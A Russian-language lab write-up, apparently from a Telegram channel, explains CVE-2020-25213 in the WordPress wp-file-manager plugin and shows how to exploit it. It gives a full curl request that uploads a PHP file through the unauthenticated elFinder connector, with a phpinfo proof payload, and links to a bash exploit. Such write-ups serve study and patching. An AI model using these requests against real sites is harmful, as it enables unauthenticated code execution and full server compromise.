Эксплуатируем CVE-2020–25213: wp-file-manager wordpress plugin (<6.9) for unauthenticated arbitrary file upload
SHADOW:GroupЭта статья носит исключительно образовательный характер. Автор не несет ответственности за любые последствия ее прочтения.
Об уязвимости:
CVE-2020–25213: The File Manager (wp-file-manager) плагин версии <6.9 для Wordpress позволяет удаленным злоумышленникам загружать и выполнять произвольный PHP-код, так как он переименовывает небезопасный пример файла-коннектора elFinder в файл с расширением .php. Это, например, позволяет злоумышленникам выполнить команду elFinder upload (mkfile или put) для записи PHP-кода в каталог wp-content/plugins/wp-file-manager/lib/files/. Это было использовано в реальных атаках в августе и сентябре 2020 года.
Что случилось?
В последнюю неделю августа эта уязвимость начала эксплуатироваться как зиродей (0-day). 1 сентября разработчики плагина исправили уязвимость и выпустили версию 6.9. После выхода патча различные организации, такие как wordfence, seravo и некоторые другие, опубликовали блоги, описывающие детали 0-day wp-file-manager и то, как его использовали в реальных атаках.
Настройка среды
1. Установите wordpress на виртуальную машину (или локальный хост). Вы можете обратиться к этому сайту для установки wordpress на ubuntu.
2. Скачать и установить уязвимый плагин wp-file-manager (версия 6.0) отсюда.
3. Установить elFinder [опционально]
Создаем эксплойт
/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php файл библиотеки elFinder, используемый плагином wp-file-manager, отвечал за загрузку произвольного файла с любым расширением (без аутентификации).
Чтобы понять, как elFinder загружает файл, давайте сначала скачаем и настроим elFinder на локалхосте.
git clone https://github.com/Studio-42/elFinder.git mv elFinder/php/connector.minimal.php-dist elFinder/php/connector.minimal.php chown -R www-data:www-data elFinder/
При посещении /elFinder.html отображается меню файлового менеджера с возможностью загрузки файлов:

Теперь мы будем загружать любые файлы изображений и отслеживать запросы в burp suite.
В burp suite на /elFinder/php/connector.minimal.php посылается POST-запрос, в ответ на который отображается место загрузки файла.

Теперь мы заменим /elFinder/php/connector.minimal.php на /wordpress/wp content/plugins/wp-file-manager/lib/php/connector.minimal.php [расположение плагина на нашем сайте wordpress] и посмотрим, сможем ли мы загрузить файл или нет?
Мы можем загрузить файл, отлично! Это значит, что теперь мы можем загрузить любой файл с любым произвольным расширением.
Чтобы загрузить php-файл, в вышеуказанном запросе (после изменения URL) нам нужно изменить имя файла на poc_PHPinfo.php и его содержимое на
<?php echo “POC By Time4ster”; phpinfo(); ?>
И да! PHP-файл был загружен, и в ответ также показывается URL-адрес, по которому файл был загружен.

Загруженный файл можно найти по адресу: http://192.168.1.54/wordpress/wp-content/plugins/wp-file-manager/lib/files/poc_PHPinfo.php

Эквивалентный curl payload:
curl -ks — max-time 5 — user-agent “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36” -F “reqid=17457a1fe6959” -F “cmd=upload” -F “target=l1_Lw” -F “mtime[]=1576045135” -F “upload[]=@//root/poc_PHPinfo.php” “http://192.168.1.54/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
Здесь файл /root/poc_PHPinfo.php может быть заменен любым произвольным файлом, который мы хотим загрузить на сервер.
ЗАМЕЧАНИЕ: Иногда php-файлы блокируются брандмауэром, поэтому для подтверждения уязвимости лучше сначала загрузить txt-файл.
Также обратите внимание, что загруженный файл может быть доступен любому неавторизованному пользователю (и выполняется в случае php), поэтому будьте осторожны при загрузке файлов.
Bash Exploit:
https://github.com/mansoorr123/wp-file-manager-CVE-2020-25213
Влияние
Используя эту уязвимость, злоумышленник может загружать php-файлы и выполнять их на целевом компьютере без какой-либо аутентификации, приводящей к полной компрометации машины. (CVSS: 9.8).
wp-file-manager имеет более 600,000 активных инсталляций, из которых только 58% пользователей обновились до последней версии плагина 6.9 на момент написания этой статьи.

На этом все. Благодарю за просмотр!
Подпишись на канал - @shadow_group_tg